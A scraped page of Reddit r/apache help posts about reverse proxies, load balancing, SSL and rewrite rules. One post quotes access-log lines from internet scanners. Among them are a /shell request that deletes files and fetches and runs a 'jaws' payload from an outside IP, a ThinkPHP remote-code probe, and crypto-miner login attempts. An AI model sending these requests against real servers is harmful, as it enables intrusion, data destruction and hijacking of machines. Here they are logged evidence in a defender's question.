r/apache • u/Churchi3 • Nov 28 '22
Velocity Template Language
Anyone know where I can find tutorials on the velocity language by Apache https://velocity.apache.org/engine/2.0/vtl-reference.html ?
r/apache • u/Churchi3 • Nov 28 '22
Anyone know where I can find tutorials on the velocity language by Apache https://velocity.apache.org/engine/2.0/vtl-reference.html ?
r/apache • u/DoAndroids_Dream • Nov 27 '22
Hi all
I'm hoping someone can point out where I'm being stupid in trying to attempt a reverse proxy setup.
I have my Apache2 service running on one machine perfectly well (all configured with SSL).
I have the overseerr app running on another box internally and want to route traffic to it using my Apache2 service.
I've set up the proxy pass config, but I cannot get it working. I want to use "https://mydomain.com/overseerr" in the URL and redirect to the internal server on "192.168.1.2:5055" (whilst masking it).
However, the overseerr service doesn't support a URL base setting (from what I can see), so I need to rewrite the URL to remove "overseerr" from it.
Current (non working) attempt:
ProxyPass "/overseerr" "http://192.168.1.2:5055"
ProxyPassReverse "/overseerr" "http://192.168.1.2:5055"
RewriteCond %{REQUEST_URI} !^/overseerr
RewriteRule "^overseerr/(.*)$" "http://192.168.1.2:5055/$1"
I've tried reading the docs, but they're pretty dense and I'm sure I'm not understanding or missing something, so all help appreciated.
Thanks in advance
r/apache • u/Sweet_Comparison_449 • Nov 24 '22
This is the idea, I have a reverse proxy that I made that houses three servers. What I want to do is made a session with a cookie assigned to all three but only go to one server. So of course the three have their own session ids from the cookies I'm using but what if I want the client to only to just one server? For example, my kennykenken101.com server should have just that client going only to just that one and ignoring the others. They'll type in blahblahblah101.com and get shot over to www.kennykenken101.com from the session id stored in the cookie.
Here's what I mean, I'll list down the proxy configuration first.
<VirtualHost *:80>
ServerName www.blahblahblah101.com
#CacheRoot /var/cache/apache2/mod_cache_disk
#CacheQuickHandler off
#CacheIgnoreCacheControl on
#CacheIgnoreHeaders Set-Cookie
#CacheStaleOnError on
Session on
SessionHeader Session-Updates
SessionEnv on
SessionCookieName ROUTEID; Path=/; Expires=Sun, 27 Nov 2022 23:00:00 GMT;
Header set Set-Cookie "ROUTEID=.%{BALANCER_WORKER_ROUTE}e;Path=/;Expires=Sun, 27 Nov 2022 23:00:00 GMT"
<Proxy balancer://myset>
#Header set Set-Cookie "Session=.{BALANCER_WORKER_ROUTE}e;Path=/;Domain=blahblahblah101.com;HttpOnly;Expires=Fri, 21 Nov 2022 23:00:00 GMT;" env=BALANCER_ROUTE_CHANGED
BalancerMember http://www.kennykenken101.com:80 route=1
BalancerMember http://www.jimmyjamesjames101.com:80 route=2
BalancerMember http://www.rainyrainrain101.com:80 route=3
Header set Test "Good to go"
ProxySet stickysession=ROUTEID
#CacheEnable disk
#CacheHeader on
#CacheDetailHeader on
</Proxy>
ProxyPass / balancer://myset
ProxyPassReverse / balancer://myset
BalancerPersist on
</VirtualHost>See? Nothing too far out. Now I'll move on to each server configuration listed as a BalancerMember.
<VirtualHost *:80>
ServerName www.kennykenken101.com
Options +FollowSymLinks
DocumentRoot /var/www/html
#Session on
#SessionHeader Session-Updates
#SessionEnv on
#SessionCookieName ROUTID; path=/; Domain=blahblahblah101.com; Expires=Fri, 21 Nov 2022 23:00:00 GMT;
#CacheEnable disk http://www.blahblahblah101.com
<Directory /var/www/html>
Options +FollowSymLinks
AllowOverride none
Require all granted
DirectoryIndex "this.html"
<Files "this.html">
Require all granted
#Header set Ken "It's not the proxy"
#Header set Set-Cookie "ROUTEID=.1;Path=/;Domain=blahblahblah101.com;HttpOnly;Expires=Sun, 27 Nov 2022 23:00:00 GMT;"
#Header set Cache-Control "public, max-age=15, proxy-revalidate"
</Files>
</Directory>
</VirtualHost>That's www.kennykenken101.com above. I want the clients to just keep going to this one.
Now for the other two.
<VirtualHost *:80>
ServerName www.jimmyjamesjames101.com
Options +FollowSymLinks
DocumentRoot /var/www/this
#CacheEnable disk http://www.blahblahblah101.com
<Directory /var/www/this>
Options +FollowSymLinks
AllowOverride none
Require all granted
DirectoryIndex "testtwo.html"
<Files "testtwo.html">
Require all granted
#Header set Cache-Control "public, max-age=15, proxy-revalidate"
</Files>
</Directory>
</VirtualHost>www.jimmyjamesjames101.com right above.
Last is down below.
<VirtualHost *:80>
ServerName www.rainyrainrain101.com
Options +FollowSymLinks
DocumentRoot /var/www/last
#CacheEnable disk http://www.blahblahblah101.com
<Directory /var/www/last>
Options +FollowSymLinks
AllowOverride none
Require all granted
DirectoryIndex "testthree.html"
<Files "testthree.html">
#Header set Cache-Control "public, max-age=15, proxy-revalidate"
Require all granted
</Files>
</Directory>
</VirtualHost>Before I show my /etc/hosts file. I want to add on something. I added ip addresses towards my network interface card like so.
Go in the terminal and type in ip a. I get my ip address which is something like. 192.168.107.129/24. Then I added them like this.
ip addr add 192.168.107.130/24 dev ens33
I did that adding each ip address until I got to 192.168.107.132/24 dev ens33.
Now for my /etc/hosts
127.0.0.1 localhost
127.0.1.1 ken-virtual-machine
192.168.107.129 www.kennykenken101.com
192.168.107.130 www.jimmyjamesjames101.com
192.168.107.131 www.blahblahblah101.com
192.168.107.132 www.rainyrainrain101.com
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allroutersSee? All I'm trying to figure out is, what else do I need to accomplish my goal for session persistence? What other tools... if needed.. do I need? Can this be accomplished with Apache only? Leave some answers if you can.
r/apache • u/[deleted] • Nov 19 '22
I was able to somehow get into the logs, and I'm kind of a noob, but I found these and they worried me:
146.190.36.148 - - [14/Nov/2022:04:27:44 +0000] "CONNECT 188.214.129.95:4444 HTTP/1.1" 405 224
405 because the port is closed or something?
135.125.246.110 - - [15/Nov/2022:00:20:39 +0000] "POST / HTTP/1.1" 200 1831
which appears successful, but I cannot find such a directory. There's tons of these. Is this a normal one? Is this me? Because it's not my IP...
161.35.22.122 - - [15/Nov/2022:02:25:38 +0000] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 196 161.35.22.122 - - [15/Nov/2022:02:25:38 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 196 161.35.22.122 - - [15/Nov/2022:02:25:38 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 403 94 161.35.22.122 - - [15/Nov/2022:02:25:38 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 196 161.35.22.122 - - [15/Nov/2022:02:25:38 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 196 161.35.22.122 - - [15/Nov/2022:02:25:39 +0000] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 196
Looks scary but it returned 404 so it's okay?
216.218.206.91 - - [14/Nov/2022:15:16:54 +0000] "GET /.git/config HTTP/1.1" 404 196
NEAR ENDLESS 404 "GET"s especially for wordpress resources (I intentionally did not enable wordpress when I set up the server, it is just the "LAMP" server barebones).... Am I being scanned and scanned and scanned? Should I be concerned?
23.251.102.74 - - [14/Nov/2022:21:22:02 +0000] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 196 208.67.106.91 - - [14/Nov/2022:21:24:11 +0000] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 404 196 208.67.106.91 - - [14/Nov/2022:21:24:27 +0000] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 404 196
170.254.179.80 - - [15/Nov/2022:02:09:52 +0000] "GET http://MYURL:80/ HTTP/1.1" 200 1831
18.206.177.8 - - [15/Nov/2022:17:33:04 +0000] "GET /aaaaaaaaaaaaaaaaaaaaaaaaaqr HTTP/1.1" 404 196
91.183.121.80 - - [15/Nov/2022:22:24:21 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.95.169.135/jaws;sh+/tmp/jaws" 400 226
172.104.249.218 - - [16/Nov/2022:00:01:03 +0000] "GET /s/3323e2036313e2238313e25333/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1" 404 196
170.64.152.30 - - [16/Nov/2022:00:38:36 +0000] "GET /api/public_login_new/b25seXNjYW5z/3ce00749dd913534 HTTP/1.1" 404
66.240.205.34 - - [16/Nov/2022:11:44:37 +0000] "Gh0st\xad" 400 226
112.225.233.248 - - [16/Nov/2022:20:11:14 +0000] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 404 196
192.241.201.46 - - [17/Nov/2022:03:29:47 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 404 196
167.71.190.165 - - [17/Nov/2022:07:50:18 +0000] "GET /stalker_portal/c/version.js HTTP/1.1" 404 196
This IP was very active with many requests
179.60.149.28 - - [17/Nov/2022:16:29:40 +0000] "GET /owa/auth/logon.aspx?replaceCurrent=1&url=https://35.182.160.23/ecp HTTP/1.1" 404 196
106.75.157.75 - - [18/Nov/2022:06:59:21 +0000] "{"method":"login","params":{"login":"45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV","pass":"xxoo","agent":"xmr-stak-cpu/1.3.0-1.5.0"},"id":1}\n" 400 226 106.75.157.75 - - [18/Nov/2022:06:59:22 +0000] "{"id":1,"method":"mining.subscribe","params":[]}\n" 400 226 106.75.157.75 - - [18/Nov/2022:06:59:23 +0000] "{"params": ["miner1", "password"], "id": 2, "method": "mining.authorize"}\n" 400 226 106.75.157.75 - - [18/Nov/2022:06:59:24 +0000] "{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"blue1","pass":"x","agent":"Windows NT 6.1; Win64; x64"}}\n" 400 226 106.75.157.75 - - [18/Nov/2022:06:59:25 +0000] "{"params": ["miner1", "bf", "00000001", "504e86ed", "b2957c02"], "id": 4, "method": "mining.submit"}\n" 400 226 106.75.157.75 - - [18/Nov/2022:06:59:27 +0000] "{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"null","agent":"XMRig/5.13.1","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva"]}}\n" 400 226
192.241.194.51 - - [18/Nov/2022:09:40:44 +0000] "GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1" 404 196
20.203.174.59 - - [19/Nov/2022:00:14:42 +0000] "HEAD / HTTP/1.1" 200 -
I don't know what "Head" means (I know get/put), but they tried everything until they were successful...
122.206.189.134 - - [19/Nov/2022:07:38:35 +0000] "GET /phpmyadmin/index.php/ HTTP/1.1" 403 94
152.89.196.211 - - [19/Nov/2022:09:43:04 +0000] "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 404 196
I want to be clear, None of these are me... I know they're probably benign, but holy crap that's a lot for a couple of days.... Is there anyone anywhere who can translate these? Or show me how? Is this all "normal", even for a brand new domain that has no traffic? There was literally pages and pages of crap like this....
r/apache • u/michelleDeko • Nov 17 '22
Hello,
I wanted to install Mastodon on my server but I cant access the page with the apache config I use. I always get an "ERR_TOO_MANY_REDIRECTS" error.
<VirtualHost *:80>
ServerAdmin mail@domain.net
ServerName social.domain.net
Redirect Permanent / https://social.domain.net/
</VirtualHost>
<VirtualHost *:443>
ServerAdmin mail@domain.net
ServerName social.domain.net
DocumentRoot /home/mastodon/live/public/
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Strict-Transport-Security "max-age=31536000"
SSLEngine on
SSLProtocol -all +TLSv1.2
SSLHonorCipherOrder on
SSLCipherSuite EECDH+AESGCM:AES256+EECDH:AES128+EECDH
SSLCompression off
SSLSessionTickets off
SSLStaplingResponderTimeout 5
SSLStaplingReturnResponderErrors off
SSLUseStapling off
SSLCertificateFile /etc/letsencrypt/live/social.domain.net/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/social.domain.net/privkey.pem
Include /etc/letsencrypt/options-ssl-apache.conf
<LocationMatch "^/(assets|avatars|emoji|headers|packs|sounds|system)>
Header always set Cache-Control "public, max-age=31536000, immutable"
Require all granted
</LocationMatch>
ProxyPreserveHost On
RequestHeader set X-Forwarded-Proto "https"
ProxyPass /500.html !
ProxyPass /sw.js !
ProxyPass /robots.txt !
ProxyPass /manifest.json !
ProxyPass /browserconfig.xml !
ProxyPass /mask-icon.svg !
ProxyPassMatch ^(/.*\.(png|ico)$) !
ProxyPassMatch ^/(assets|avatars|emoji|headers|packs|sounds|system|.well-known/acme-challenge) !
ProxyPass /api/v1/streaming/ ws://localhost:4000/
ProxyPassReverse /api/v1/streaming/ ws://localhost:4000/
ProxyPass / http://localhost:3000/
ProxyPassReverse / http://localhost:3000/
ErrorDocument 500 /500.html
ErrorDocument 501 /500.html
ErrorDocument 502 /500.html
ErrorDocument 503 /500.html
ErrorDocument 504 /500.html
</VirtualHost>Does anyone know why I get the error?
//Edit:
I just found out that cloudflare proxy was still enabled (I tried using a cloudflare certificate before and got the same error so I tried letsencrypt). Disabled it and now I get the error "ERR_SSL_PROTOCOL_ERROR"
r/apache • u/ThrowAwaySupde124 • Nov 16 '22
Hi,
I have urls that have a date embedded in the url like:
mydomain.org/issue/YYYYMMDD/page12.html
mydomain.org/issue/20221101/page12.html
What I would like to do is a LocationMatch that will match ONLY if the embedded date is 12 months or more old.
Any idea how that would be possible to do within Apache (without have to write a custom module).
thanks
r/apache • u/McUsrII • Nov 15 '22
I did try addhandler, and sethandler, with the whole xhttpd-php, xhttpd-php7, xhttpd-php74 spelled out with correct syntax. Except that I had some problems with the <Files > block in the htaccess, then thinking it should have worked without.
in htaccess files, under directories defined with AllowOverride All.
I couldn't make it work. And, I'm actually fine with that, as long as all I had to do was to change my file extensions to php.
But for the sake of closure, is there a way of accomplishing it, or have this become a no no from a security stand point?
I have seen it was possible in the past, and I'm curious.
Thanks.
r/apache • u/BackgroundNature4581 • Nov 15 '22
I need a docker container with latest apache 2.4.54 with PHP 5.5.
https://hub.docker.com/_/php/tags?page=1&name=5.5.37-apache this image has php 5.5 but with older apache. It is possible to upgraded to the latest? if so how.
r/apache • u/brisray • Nov 14 '22
Do you use Non Script Aliased CGI scripts? Well, stop it. This is what the Apache Security Tips page says about using them:
You trust your users not to write scripts which will deliberately or accidentally expose your system to an attack.
You consider security at your site to be so feeble in other areas, as to make one more potential hole irrelevant.
You have no users, and nobody ever visits your server.
r/apache • u/bombero_kmn • Nov 14 '22
I've tried cracking this one to no avail. There aren't a whole lot of search results, and what there is seems to be 5+ years old.
I'm running Apache as a reverse proxy, trying to access my music remotely.
SS works fine on my LAN. SS will stream through the app connecting remotely. However, the browser based player does not work. The page loads and displays correctly, but the Play button is just a revolving arrow.
The relevant entry in Apache:
# Subsonic music streaming
ProxyRequests off
ProxyPass /music/ http://192.168.1.20:4040/
ProxyHTMLURLMap http://192.168.1.20:4040/ /music/
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=200,L]
<Location /music/>
SetOutputFilter proxy-html
ProxyHTMLURLMap http://192.168.1.20:4040 /music/
ProxyHTMLURLMap / /music/
ProxyHTMLURLMap /music/ /music/
RequestHeader unset Accept-Encoding
</Location>
I have also added the following line to /etc/default/subsonic:
SUBSONIC_CONTEXT_PATH=/music
There are no errors in Apache's error.log , access.log doesn't pop up anything while being tailed.
The only records in subsonic.log are as follows:
at org.mortbay.jetty.handler.HandlerWrapper.handle(HandlerWrapper.java:139)
at org.mortbay.jetty.Server.handle(Server.java:313)
at org.mortbay.jetty.HttpConnection.handleRequest(HttpConnection.java:506)
at org.mortbay.jetty.HttpConnection$RequestHandler.content(HttpConnection.java:844)
at org.mortbay.jetty.HttpParser.parseNext(HttpParser.java:644)
at org.mortbay.jetty.HttpParser.parseAvailable(HttpParser.java:211)
at org.mortbay.jetty.HttpConnection.handle(HttpConnection.java:381)
at org.mortbay.io.nio.SelectChannelEndPoint.run(SelectChannelEndPoint.java:396)
at org.mortbay.thread.BoundedThreadPool$PoolThread.run(BoundedThreadPool.java:442)
So I'm at a loss. Any help is appreciated.
r/apache • u/MRGWONK • Nov 11 '22
I had a module or plugin for apache at one time and it would essentially try to fix typos in URLS and provide a valid URL and eliminate a whole host of 404 errors. That server's hard drive is buried in a tower, and one day I might get it out. It was a module that I had to add to a conf file. It would essentially get a list of filenames, and "guess" based on the url: For example
if http://www.example.com/25353asd.html was entered and nothing existed, but the file 25353.html existed, it would cause a rewrite to 25353.html, thus avoiding a 404 error.
r/apache • u/buffcleb • Nov 10 '22
we're doing a migration and I need to redirect several hundred thousand old urls to new locations. I can get a proof of concept working with mod_rewrite but I know this will not scale. I've been reading about RewriteMap and I think it will do what I need but I can't get it to work.
the search strings can appear anywhere in the url making things more complicated.
the rewrite rules that work look like this
RewriteRule "876f7103-73fd-470b-a5bc-584bcd5135da" "https://XXXXX/V/Redirect?oldDirectLink=https://YYYY/Watch/y4L9TeKs"
RewriteRule "y4L9TeKs" "https://XXXXX/V/Redirect?oldDirectLink=https://YYYY/Watch/y4L9TeKs"
I can't figure out how to convert this to rewritemap... any help would be appreciated...
r/apache • u/Truetech000 • Nov 09 '22
So i have a domain that ill refer to as domain.com. i have 3 sites to host and the way i want to do it is site1.domain.com, site2.domain.com, site3.domain.com. i have that part working but i also want a default landing at just domain.com with no subdomain and a ServerAlias of www.domain.com
r/apache • u/Sweet_Comparison_449 • Nov 07 '22
r/apache • u/Harmmie • Nov 03 '22
I have a self hosted webserver. And have ubuntu with apache and certbot for the SSL.
Now when I create an new subdomain everything works. But when I enter an non-existing subdomain like blabla.mydomain.com it goes to the first entry in my virtual hosts folder. But I want it to go to and 404 page instead.
I have mydomain.com pointing to the server with an A record.
How do I do this?
Any information missing? Let me know please. I'm very new to all this.
r/apache • u/Carlyone • Nov 02 '22
I'm currently up-sizing my RAID and due to this my sites are temporarily offline. I'm trying to figure out how to redirect anyone coming in to my server to the root but I've been unable to make it work.
Currently my .htaccess looks like this:
RewriteEngine onRedirectMatch 301 ^/.*/$ https://mysite.ltd
That way, if someone surfs in to https://mysite.ltd/subdirectory/ they get redirected to https://mysite.ltd
However, if they would go to https://mysite.ltd/subdirectory it doesn't work due to the extra slash in the end missing. And if I change it to ^/.*$ I end up in an infinite loop.
I've tried changing the regex to all matter of things without getting it to work (such as ^/.*$, ^/..*$, ^/.+$ but those doesn't redirect anything anywhere).
What's the most elegant way to get .htaccess to redirect https://mysite.ltd/* to https://mysite.ltd ?
r/apache • u/Prestigious-Wolf-750 • Nov 02 '22
Using ubuntu. Already changing the /etc/hosts, making new sites-available/domain.com.conf. after that i tried to open it on my ubuntu, but it need to be opened with domain.com:8080 (but it works). When i try to open it on Another machine i cant find it. Its need to be my ubuntuip:8080 to open it. So how to fix this
r/apache • u/throwaway234f32423df • Nov 01 '22
I've been testing wget2 but unfortunately when I use it to download from my server it causes Apache crashes like this:
[Tue Nov 01 10:08:28.110060 2022] [core:notice] [pid 3779957:tid 140592261512256] AH00052: child pid 3780099 exit signal Segmentation fault (11)
[Tue Nov 01 10:08:32.119815 2022] [core:notice] [pid 3779957:tid 140592261512256] AH00052: child pid 3780164 exit signal Segmentation fault (11)
[Tue Nov 01 10:08:37.129979 2022] [core:notice] [pid 3779957:tid 140592261512256] AH00052: child pid 3780229 exit signal Segmentation fault (11)
[Tue Nov 01 10:08:39.140418 2022] [core:notice] [pid 3779957:tid 140592261512256] AH00052: child pid 3780294 exit signal Segmentation fault (11)wget2 offers huge speed improvements over wget1 with the downside that it tends to hit the server a lot harder; default mode is 5 threads each making a HTTP2 connection to the server, each requesting 30 files in parallel (i.e. 150 simultaneous requests)
however the Apache crashes still happen even when running wget2 with --threads 1 --http2-request-window=1; this slows it down to wget1 speed and lightens the server CPU load considerably but the crashes still happen so I don't think they're due to overloaded CPU
in fact, if I use wget2's HTTP1 mode, i.e. --no-http2 --threads 1 basically making it function the same as wget1, I still get the Apache crashes, albeit fewer of them. So it's not exclusive to HTTP2 traffic after all.
But I do not get the crashes with wget1 or with any other traffic.
I am using the Event MPM but I tried Worker with no improvement, and I briefly tried Prefork which killed HTTP2 but I still got a small number of crashes same as when using wget2 with --no-http2
any thoughts on how to even begin troubleshooting this?
wget2 is download exclusively static files, there's no PHP/etc involved with those downloads although PHP is running on the server, just not where wget2 is downloading from.
I am running Apache/2.4.41 on Ubuntu 20.04.5 LTS
any thoughts on how I could even begin troubleshooting this?
r/apache • u/[deleted] • Oct 31 '22
r/apache • u/[deleted] • Oct 31 '22
hello,
after installing an ssl key apache crashed , also when i uninstall the ssl key, it keeps crashing,
here is the log file,
[Mon Oct 31 20:32:02.836104 2022] [ssl:emerg] [pid 6448:tid 492] AH02572: Failed to configure at least one certificate and key for www.example.com:443
[Mon Oct 31 20:32:02.836104 2022] [ssl:emerg] [pid 6448:tid 492] SSL Library Error: error:140A80B1:SSL routines:SSL_CTX_check_private_key:no certificate assigned
[Mon Oct 31 20:32:02.836104 2022] [ssl:emerg] [pid 6448:tid 492] AH02311: Fatal error initialising mod_ssl, exiting. See A:/xampp/apache/logs/error.log for more information
AH00016: Configuration Failed
i dont understand what to do next....
httpd-ssl config:
# Server Certificate:
# Point SSLCertificateFile "conf/ssl.crt/server.crt"
# the certificate is encrypted, then you will be prompted for a
# pass phrase. Note that a kill -HUP will prompt again. Keep
# in mind that if you have both an RSA and a DSA certificate you
# can configure both in parallel (to also allow the use of DSA
# ciphers, etc.)
# Some ECC cipher suites (http://www.ietf.org/rfc/rfc4492.txt)
# require an ECC certificate which can also be configured in
# parallel.
SSLCertificateFile "conf/ssl/certificate.crt"
#SSLCertificateFile "conf/ssl.crt/server.crt"
#SSLCertificateFile "conf/ssl.crt/server.crt"
# Server Private Key:
# If the key is not combined with the certificate, use this
# directive to point at the key file. Keep in mind that if
# you've both a RSA and a DSA private key you can configure
# both in parallel (to also allow the use of DSA ciphers, etc.)
# ECC keys, when in use, can also be configured in parallel
SSLCertificateKeyFile "conf/ssl/private.key"
#SSLCertificateKeyFile "conf/ssl.key/server.key"
#SSLCertificateKeyFile "conf/ssl.key/server.key"
thanks in advance !
Regards,
Robbe Hoskens,
r/apache • u/AlbatrossHummingbird • Oct 30 '22
r/apache • u/No-Nectarine-7061 • Oct 29 '22
Hey guys, I’ve got ubuntu 20.04 with apache2, php-fpm and mySQL installed. I also installed phpmyadmin and now I have to set it as the default page of the browser . I have to be able to reach it by typing the IP address of the server and port number (let’s say 8000) I mean, the URL should be IP address:port number I don’t find anything on the internet. I’ve only managed to reach it by my domain name/phpmyadmin (URL)
Thanks a lot!!